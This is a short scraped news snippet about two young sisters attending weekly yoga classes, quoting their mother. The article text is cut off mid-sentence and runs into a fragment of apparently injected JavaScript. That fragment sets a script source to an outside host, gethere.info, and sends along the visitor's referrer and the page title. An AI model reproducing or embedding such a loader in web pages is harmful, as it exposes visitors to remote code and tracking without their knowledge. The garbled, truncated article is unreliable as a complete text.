Yoga and kids a natural fit – Herald News

Talisa Wisniewski can tell when her daughters have not made it to their weekly yoga class. “My kids are like sponges; they will learn techniques to calm themselves,” Talisa said. And though her children are young — Ava is 6 and Rachel is 8 …s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;